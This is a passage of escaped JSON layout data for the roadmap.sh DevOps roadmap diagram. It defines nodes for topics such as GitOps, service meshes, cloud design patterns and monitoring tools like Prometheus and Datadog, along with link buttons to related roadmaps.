\"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1805.6994137533861,\n        \"y\": 2327.2681164764685\n      },\n      \"width\": 154,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1805.6994137533861,\n        \"y\": 2327.2681164764685\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-INN1qTMLimrZgaSPCcHj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 2039.880090807097,\n        \"y\": 2415.411508945109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitOps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2039.880090807097,\n        \"y\": 2415.411508945109\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i-DLwNXdCUUug6lfjkPSy\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"ArgoCD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"C_sFyIsIIpriZlovvcbSE\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2039.880090807097,\n        \"y\": 2275.2924702992086\n      },\n      \"width\": 172,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 2039.880090807097,\n        \"y\": 2275.2924702992086\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6gVV_JUgKgwJb4C8tHZn7\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"FluxCD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ootuLJfRXarVvm3J1Ir11\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2039.880090807097,\n        \"y\": 2328.2924702992086\n      },\n      \"width\": 172,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 2039.880090807097,\n        \"y\": 2328.2924702992086\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EeWsihH9ehbFKebYoB5i9\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 2039.941514522558,\n        \"y\": 2603.211912357967\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Service Mesh\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2039.941514522558,\n        \"y\": 2603.211912357967\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XsSnqW6k2IzvmrMmJeU6a\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Istio\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1829.5489126426492,\n        \"y\": 2526.211912357967\n      },\n      \"width\": 111,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1829.5489126426492,\n        \"y\": 2526.211912357967\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OXOTm3nz6o44p50qd0brN\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Consul\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1829.5489126426492,\n        \"y\": 2579.211912357967\n      },\n      \"width\": 111,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1829.5489126426492,\n        \"y\": 2579.211912357967\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hhoSe4q1u850PgK62Ubau\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Linkerd\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1829.5489126426492,\n        \"y\": 2632.211912357967\n      },\n      \"width\": 111,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1829.5489126426492,\n        \"y\": 2632.211912357967\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"epLLYArR16HlhAS4c33b4\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Envoy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1829.5489126426492,\n        \"y\": 2685.211912357967\n      },\n      \"width\": 111,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1829.5489126426492,\n        \"y\": 2685.211912357967\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Qc0MGR5bMG9eeM5Zb9PMk\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1584.5509969897735,\n        \"y\": 2850.227757915361\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wjJPzrFJBNYOD3SJLzW2M\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1584.5509969897735,\n        \"y\": 2850.227757915361\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JCe3fcOf-sokTJURyX1oI\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Availability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1193,\n        \"y\": 2770\n      },\n      \"width\": 269,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1193,\n        \"y\": 2770\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5FN7iva4DW_lv-r1tijd8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Data Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1193,\n        \"y\": 2822\n      },\n      \"width\": 269,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1193,\n        \"y\": 2822\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1_NRXjckZ0F8EtEmgixqz\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Design and Implementation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1193,\n        \"y\": 2874\n      },\n      \"width\": 269,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1193,\n        \"y\": 2874\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8kby89epyullS9W7uKDrs\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Management and Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1193,\n        \"y\": 2926\n      },\n      \"width\": 269,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1193,\n        \"y\": 2926\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ju00mr0KLGN2BV6yEQGPt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1690.6885970352912,\n        \"y\": 3106.039131203956\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": 1690.6885970352912,\n        \"y\": 3106.039131203956\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 531,\n      \"height\": 119,\n      \"id\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1435.6885970352912,\n        \"y\": 3022.016439761934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following relevant roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 1435.6885970352912,\n        \"y\": 3022.016439761934\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 531,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 531,\n        \"height\": 119\n      }\n    },\n    {\n      \"width\": 131,\n      \"height\": 49,\n      \"id\": \"wKYrZhmdNsv1Dw74-oAjR\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1448.1022029048668,\n        \"y\": 3078.486197134392\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1448.1022029048668,\n        \"y\": 3078.486197134392\n      },\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 131,\n      \"height\": 49,\n      \"id\": \"IjRWRJtJqhSsf67kh5YE6\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1583.1022029048668,\n        \"y\": 3078.486197134392\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Docker\",\n        \"href\": \"https://roadmap.sh/docker\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1583.1022029048668,\n        \"y\": 3078.486197134392\n      },\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 131,\n      \"height\": 49,\n      \"id\": \"0iBhYESSf5f6WHvs_QqC5\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1718.1022029048668,\n        \"y\": 3078.486197134392\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kubernetes\",\n        \"href\": \"https://roadmap.sh/kubernetes\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1718.1022029048668,\n        \"y\": 3078.486197134392\n      },\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"uSLzfLPXxS5-P7ozscvjZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1853.1022029048668,\n        \"y\": 3078.486197134392\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linux\",\n        \"href\": \"https://roadmap.sh/linux\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"PkhQdVms2TGgnPrytCBPZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1853.1022029048668,\n        \"y\": 3078.486197134392\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1896.1056670245057,\n        \"y\": -26.06796103280476\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 1896.1056670245057,\n        \"y\": -26.06796103280476\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1909.309041437306,\n        \"y\": 55.91760238494052\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1909.309041437306,\n        \"y\": 55.91760238494052\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MfErpYwkJ0wiWJZEUVfrb\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 1195.6220092352162,\n        \"y\": 115.7961259304779\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the Beginner Version\",\n        \"href\": \"/devops?r=devops-beginner\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#232323\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 404,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 404,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1195.6220092352162,\n        \"y\": 115.7961259304779\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 404,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w2eCgBC-ydMHSxh7LMti8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Loki\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1206.9080590588455,\n        \"y\": 1794.867646144425\n      },\n      \"width\": 154,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1206.9080590588455,\n        \"y\": 1794.867646144425\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hIBeTUiAI3zwUY6NgAO-A\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Kubernetes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 2662.733953859971\n      },\n      \"width\": 232,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 2662.733953859971\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z7rDVZZVr1C2ZoOHGxDQ_\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 2056.211689887789,\n        \"y\": 1182.7608674321284\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Server\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 2056.211689887789,\n        \"y\": 1182.7608674321284\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"5zUf-LBQ0ByeP2hnAf9x1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1769.6858674228688,\n        \"y\": 676.1476021125169\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Editors\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"1b3VeGto7LzbiNNPolk7_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 1769.6858674228688,\n        \"y\": 676.1476021125169\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"JXsctlXUUS1ie8nNEgIk9\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"GCP Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1606\n      },\n      \"width\": 194,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1606\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wNguM6-YEznduz3MgBCYo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1491.8528975202719,\n        \"y\": 2415.411508945109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Application Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1491.8528975202719,\n        \"y\": 2415.411508945109\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8rd7T5ahK2I_zh5co-IF-\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Jaeger\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        },\n        \"oldId\": \"K81bmtgnB1gfhYdi3TB5a\"\n      },\n      \"position\": {\n        \"x\": 1510.8528975202719,\n        \"y\": 2502.733953859971\n      },\n      \"width\": 180,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1510.8528975202719,\n        \"y\": 2502.733953859971\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pk76Us6z8LoX3f0mhnCyR\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"New Relic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        },\n        \"oldId\": \"K81bmtgnB1gfhYdi3TB5a\"\n      },\n      \"position\": {\n        \"x\": 1510.8528975202719,\n        \"y\": 2555.733953859971\n      },\n      \"width\": 180,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1510.8528975202719,\n        \"y\": 2555.733953859971\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BHny2Emf96suhAlltiEro\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Datadog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        },\n        \"oldId\": \"K81bmtgnB1gfhYdi3TB5a\"\n      },\n      \"position\": {\n        \"x\": 1510.8528975202719,\n        \"y\": 2608.733953859971\n      },\n      \"width\": 180,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1510.8528975202719,\n        \"y\": 2608.733953859971\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eOyu4wmKOrcMlhD8pUGGh\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Prometheus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        },\n        \"oldId\": 